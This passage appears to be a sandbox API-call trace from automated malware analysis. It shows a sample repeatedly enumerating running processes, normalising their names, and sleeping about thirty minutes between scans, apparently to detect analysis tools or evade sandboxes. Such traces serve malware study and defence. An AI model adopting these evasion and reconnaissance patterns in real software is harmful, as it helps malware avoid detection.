lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0130.933] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0130.934] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0130.934] lstrlenW (lpString="authorized.exe") returned 14 [0130.934] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0130.934] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0130.934] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0130.934] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0130.934] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0130.934] lstrlenW (lpString="isp.exe") returned 7 [0130.934] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0130.935] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0130.935] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0130.935] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0130.935] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0130.935] lstrlenW (lpString="cowboy.exe") returned 10 [0130.935] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0130.935] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0130.935] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0130.935] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0130.936] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0130.936] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0130.936] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0130.936] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0130.936] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0130.936] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0130.937] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0130.937] lstrlenW (lpString="thats.exe") returned 9 [0130.937] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0130.937] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0130.937] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0130.937] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0130.937] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0130.937] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0130.937] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0130.937] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0130.937] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0130.937] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0130.938] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0130.938] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0130.938] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0130.938] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0130.938] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0130.938] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0130.939] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0130.939] lstrlenW (lpString="actual.exe") returned 10 [0130.939] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0130.939] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0130.939] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0130.939] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0130.940] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0130.940] lstrlenW (lpString="potter larry.exe") returned 16 [0130.940] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0130.940] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0130.940] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0130.940] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0130.940] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0130.940] lstrlenW (lpString="contents what certificate.exe") returned 29 [0130.940] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0130.940] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0130.940] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0130.940] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0130.941] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0130.941] lstrlenW (lpString="cindy.exe") returned 9 [0130.941] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0130.941] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0130.941] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0130.941] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0130.942] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0130.942] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0130.942] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0130.942] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0130.942] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0130.942] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0130.942] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0130.942] lstrlenW (lpString="unusual.exe") returned 11 [0130.942] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0130.943] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0130.943] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0130.943] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0130.943] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0130.943] lstrlenW (lpString="pacific.exe") returned 11 [0130.943] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0130.943] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0130.943] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0130.943] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0130.944] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0130.944] lstrlenW (lpString="phantom.exe") returned 11 [0130.944] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0130.944] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0130.944] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0130.944] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0130.945] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0130.945] lstrlenW (lpString="audiodg.exe") returned 11 [0130.945] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0130.945] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0130.945] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0130.945] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0130.945] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0130.945] lstrlenW (lpString="SCN0tification.exe") returned 18 [0130.945] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0130.945] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0130.945] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0130.945] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.946] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0130.946] lstrlenW (lpString="svchost.exe") returned 11 [0130.946] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0130.946] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.946] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.946] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0130.947] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0130.947] lstrlenW (lpString="sppsvc.exe") returned 10 [0130.947] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0130.947] PathFindFileNameW (pszPath="SPPSVC.EXE") returned="SPPSVC.EXE" [0130.947] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPPSVC.EXE" | out: lpString1="SPPSVC.EXE") returned="SPPSVC.EXE" [0130.947] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0130.947] CloseHandle (hObject=0x294) returned 1 [0130.948] Sleep (dwMilliseconds=0x1b7740) [0140.952] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350 [0140.955] Process32FirstW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.956] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0140.956] lstrlenW (lpString="[System Process]") returned 16 [0140.956] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0140.956] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0140.956] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0140.956] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0140.957] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0140.957] lstrlenW (lpString="System") returned 6 [0140.957] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0140.957] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0140.957] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0140.957] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0140.958] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0140.958] lstrlenW (lpString="smss.exe") returned 8 [0140.958] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0140.958] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0140.958] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0140.958] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0140.959] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0140.959] lstrlenW (lpString="csrss.exe") returned 9 [0140.959] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0140.959] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0140.959] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0140.959] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0140.960] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0140.960] lstrlenW (lpString="wininit.exe") returned 11 [0140.960] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0140.960] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0140.960] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0140.960] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0140.961] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0140.961] lstrlenW (lpString="csrss.exe") returned 9 [0140.961] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0140.961] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0140.961] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0140.961] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0140.962] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0140.962] lstrlenW (lpString="winlogon.exe") returned 12 [0140.962] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0140.962] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0140.962] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0140.962] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0140.962] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0140.963] lstrlenW (lpString="services.exe") returned 12 [0140.963] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0140.963] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0140.963] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0140.963] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0140.963] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0140.963] lstrlenW (lpString="lsass.exe") returned 9 [0140.963] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0140.963] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0140.964] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0140.964] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.964] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.964] lstrlenW (lpString="svchost.exe") returned 11 [0140.964] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0140.964] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.964] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.964] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.965] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.965] lstrlenW (lpString="svchost.exe") returned 11 [0140.965] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0140.965] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.965] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.965] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0140.966] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0140.966] lstrlenW (lpString="dwm.exe") returned 7 [0140.966] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0140.966] PathFindFileNameW (pszPath="DWM.EXE") 